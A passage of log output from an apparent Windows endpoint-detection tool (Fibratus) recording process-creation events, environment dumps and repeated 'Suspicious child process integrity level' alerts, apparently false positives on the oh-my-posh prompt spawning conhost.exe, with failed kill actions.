Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2368277 + Pid: 19132 + Tid: 15020 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:05.7393625 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 1d51dd000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c71d680c0, name➜ conhost.exe, pid➜ 10664, ppid➜ 19132, real_ppid➜ 19132, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:05.7393625 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.id: T1134, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, rule.name: Suspicious child process integrity level, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.name: Create Process with Token, rule.seq.link: 291608283104411648, tactic.id: TA0004 + + Pid: 19132 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=79.4069" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=79.4069" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:42:06+01:00 level=info msg=executing kill action: pids=[19132 10664] rule=Suspicious child process integrity level source=rules/engine.go:294 +time=2025-11-04T20:42:06+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious child process integrity level" rule: failed to kill pid 19132: Access is denied. source=rules/engine.go:252 +time=2025-11-04T20:42:08+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2374622 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:07.4253818 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam" "--pswd=C:\Fibratus\redteam" "--execution-time=206.272" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ 10cb05000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c67d88080, name➜ oh-my-posh.exe, pid➜ 13980, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:07.4253307 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 579838659256123392, rule.name: Suspicious child process integrity level, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, tactic.id: TA0004, technique.ref: https://attack.mitre.org/techniques/T1134/, technique.id: T1134, subtechnique.name: Create Process with Token + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2374744 + Pid: 13980 + Tid: 8968 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:07.4381852 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 3040d2000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c73931080, name➜ conhost.exe, pid➜ 1500, ppid➜ 13980, real_ppid➜ 13980, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:07.4381852 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, technique.ref: https://attack.mitre.org/techniques/T1134/, rule.seq.link: 579838659256123392, rule.name: Suspicious child process integrity level, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, tactic.id: TA0004, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.id: T1134, subtechnique.name: Create Process with Token + + Pid: 13980 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam" "--pswd=C:\Fibratus\redteam" "--execution-time=206.272" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam" "--pswd=C:\Fibratus\redteam" "--execution-time=206.272" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:42:08+01:00 level=info msg=executing kill action: pids=[13980 1500] rule=Suspicious child process integrity level source=rules/engine.go:294 +time=2025-11-04T20:42:08+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious child process integrity level" rule: failed to kill pid 13980: Access is denied. source=rules/engine.go:252 +time=2025-11-04T20:42:29+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2378756 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:28.2479353 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam" "--pswd=C:\Fibratus\redteam" "--execution-time=189.4431" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ e07e000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c723020c0, name➜ oh-my-posh.exe, pid➜ 18040, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:28.2478767 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, subtechnique.id: T1134.002, tactic.id: TA0004, tactic.name: Privilege Escalation, technique.ref: https://attack.mitre.org/techniques/T1134/, technique.id: T1134, technique.name: Access Token Manipulation, subtechnique.name: Create Process with Token, rule.seq.link: 723953847331979264, rule.name: Suspicious child process integrity level + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program 